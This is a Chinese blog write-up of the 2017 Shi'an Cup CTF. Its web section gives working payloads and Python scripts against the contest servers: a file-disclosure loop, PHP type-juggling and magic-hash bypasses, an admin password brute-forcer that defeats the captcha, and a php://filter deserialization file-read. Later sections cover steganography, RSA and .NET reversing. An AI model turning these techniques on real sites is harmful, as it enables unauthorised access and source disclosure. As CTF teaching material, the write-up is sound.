2017世安杯writeup详解

前言

国庆打了场CTF,在此分享出我们队的Writeup(很多表哥队都AK了,然而我们不会逆向~~),Writeup中的所有python程序基于python3,文章末尾附上题目链接,大家有兴趣可以自行练习。

Web

ctf入门级题目

题目

主要考察ereg()函数漏洞,ereg读到%00的时候就截止了,根据代码意思构造payload,%00左边为数字,右边为–即可绕过。

具体可以参考下文:
http://blog.csdn.net/lanvnal/article/details/54634589

曲奇饼

题目

Burpsuite抓包可见端倪

尝试读取index.php的源代码:

import requests
url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line=%s&file=aW5kZXgucGhw"
for i in range(100):
   r = requests.get(url%i)
   if r.text:
      print(r.text)

运行上面的python代码,可以获取index.php的源代码,如下:

根据php代码可知,需要设置指定cookie为li_lr_480,访问thisis_flag.php方可获取flag,构造payload如下

intval()函数执行成功时返回 变量的10进制值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。

类型

题目代码太长了,这里分成以下3段来分析
x1部分代码

x1=0或者0dffd或1dfdf或者其他非数字开头的字符串
X2部分代码

本地构造payload

x2={“x21”:”2018sasa”,”x22”:[[0],0]}
x3部分代码

在php中,0eXXX….(XXX为数字)表示科学记数法,PHP会对其取0值,看如下代码即可明白

所以我们只要找出符合条件的数值作为x3的值即可,python程序如下

import re
import hashlib
md = hashlib.md5("15562".encode())
s = md.hexdigest()[8:8+16]
print('md5(15562) =',s)
for i in range(10000000):
   md = hashlib.md5(('XIPU'+str(i)).encode())
   x = md.hexdigest()[8:8+16]
   if re.findall('^0e\d*$',x):
      print('XIPU'+str(i))
      print(x)


最后结合起来,payload如下:
http://ctf1.shiyanbar.com/shian-leixing/?x1=1dfdf&x2={"x21":"2018sasa","x22":[[0],0]}&x3=XIPU18570

登录

题目

Burp抓包测试一下,发现返回信息不同


据说有提示,放这么下面,让我一顿好找

那就是爆破了,写个python脚本自动获取flag

import requests
import re
l = [str("%05d"%i) for i in range(0,100000)]
for i in l:
   sess = requests.Session()
   print("Test passwd",i)
   url = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password=%s&randcode=%s"
   r = sess.get(url)
   code = re.findall('\d{3}',r.text)[0]
   url = url % (i,code)
   r = sess.get(url)
   if "flag" in r.text:
      print("The password is",i)
      # print(r.text)
      print(re.findall('flag{[\w\d]+}',r.text)[0])
      break

admin

题目源码

根据代码提示,我们使用php://input给user变量传值,使用php://filter来读取index.php和class.php的源代码。

index.php

class.php

根据index.php的$pass = unserialize($pass);以及class.php代码,再结合利用php://filter协议,最终构造出我们要传入的pass的值

最终的payload如下
http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}

具体可以参考下文:
http://blog.csdn.net/niexinming/article/details/52623790

隐写

Low

题目是一张bmp图片,根据提示low可以是LSB隐写,python解题代码如下

import PIL.Image as Image
img = Image.open('low.bmp')
img_tmp = img.copy()
pix = img_tmp.load()
width,height = img_tmp.size
for w in range(width):
   for h in range(height):
      if pix[w,h]&1 == 0:
         pix[w,h] = 0
      else:
         pix[w,h] = 255
img_tmp.show()

斑马斑马

使用在线条形码扫描即可
https://online-barcode-reader.inliteresearch.com/

CreateByWho

题目就是这样
会ps的用ps,不会的可以打印出来,剪刀剪完再贴起来

最后拼出来是这样

适合作为桌面的图片

将图片导入stegsolve中可调出一个二维码


将该16进制串写入文件并保存成.pyc结尾文件,然后反编译出python源代码,运行即可

Misc

Reverseme

用winhex打开,发现里面的字符反过来可以正常阅读,所以文件被倒置了

Python解题程序如下

with open('reverseMe','rb') as f:
   with open('flag','wb') as g:
      g.write(f.read()[::-1])

将获取的flag打开,倒过来即可

珍妮的qq号

珍妮换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。

for old in range(10000,30000):
   new = old*4
   rever = list(str(old))
   rever.reverse()
   if ''.join(rever) == str(new):
      print(new)
      break

key{87912}

心仪的公司

方法一:
这题是一道流量分析题,用wireshark打开,题目提示是:对网站上传webshell获取了公司的图片。所以我们直接http筛选,有两个内网地址192.168.1.111和192.168.1.108,查看192.168.1.111的包发现XFF字段并且大量访问外网。猜测是192.168.1.108做反向代理攻击:参考http://www.cnblogs.com/wenthink/p/HTTTP_Proxy_TCP_Http_Headers_Check.html

筛选192.168.1.108的数据包发现:

TCP流追踪:

flag到手。(其实之前是以为要做图片修复还原然后间接获得flag,感受到出题者的真诚。)
方法二:
strings webshell.pcapng | grep “^f”

密码学

DES

涉及到逆向工程,不会。。。

RSA

题目
c = 2044619806634581710230401748541393297937319
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
下面是python2代码,因为libnum模块只能在python2.7环境下运行

c= 2044619806634581710230401748541393297937319 
n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
import libnum
for e in range(2,10):
    m = libnum.nroot(c,e)
    if m**e==c:
        break
print "e:",e
print "m:",m
flag = libnum.n2s(m)
print 'flag:',flag


libnum模块安装
git clone https://github.com/hellman/libnum
cd libnum
python setup.py install

逆向

Console

提示是微软的一门语言,用PEiD分析是.net

用dnSpy打开,在@02000003翻到关键代码块,稍微整理后主要部分如下:

using System;  
using System.Security.Cryptography;  
using System.Text;  

internal class Console{  
    private static string one(string A_0){  
        byte[] bytes = Encoding.ASCII.GetBytes(A_0);  
        return "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";  
    }  

    private static void Main(string[] A_0){  
        string b = null;  
        string value = string.Format("{0}", DateTime.Now.Hour + 1);  
        string a_ = "CreateByTenshine";  
        four(a_, Convert.ToInt32(value), ref b);
         Console.WriteLine(b);  //直接打印b得到flag
        string a = Console.ReadLine();        
        if (a == b){  
            Console.WriteLine("u got it!");  
            Console.ReadKey(true);  
        }  
        else{  
            Console.Write("wrong");  
        }  
        Console.ReadKey(true);      
    }  

    private static int three(int A_0, int A_1){  
        return (new int[]{  
            2,3,5,7,11,13,17,19,23,29,31,  
            37,41,43,47,53,59,61,67,71,73,  
            79,83,89,97,101,103,107,109,113  
        })[A_1] ^ A_0;  
    }  

    private static void four(string A_0, int A_1, ref string A_2){  
        int num = 0;  
        if (0 < A_0.Length){  
            do{  
                char c = A_0[num];  
                int num2 = 1;  
                do{  
                    c = Convert.ToChar(three(Convert.ToInt32(c), num2));  
                    num2++;  
                }  
                while (num2 < 15);  
                A_2 += c;  
                num++;  
            }  
            while (num < A_0.Length);  
        }  
        A_2 = one(A_2); 
    }
}

看了一下代码的大致流程:在Main函数里b被赋值,值是one函数里返回的flag字符串,其中包含一个将byte变量加密后的字符串,而byte变量接收的参数来自第52行的four函数………整个函数的b是自动生成的,中间有一个value变量随时间改变,但没有使用到,所以b是一个常量,可以直接在第15行b被赋值之后添加一行代码打印出b就能得到flag。
直接拖到https://ideone.com/#在线运行

将flag作为输入也提示正确

android

题解:http://www.voidcn.com/article/p-uwalkxon-bmt.html

动态暴力破解

拖入ida查看string处
FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{处理后即可得到flag
https://advancedpersistentjest.com/2016/03/28/writeup-sleeper_cell/
https://github.com/xil-se/xil.se/blob/master/content/post/pwn2win-2016-sleeper-cell-kbeckmann.md
剩下这3道逆向都不会:getflag、bin、简单算法

结语

所有题目地址

文章作者: Mochazz
文章链接: https://mochazz.github.io/2017/10/21/shianctf/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog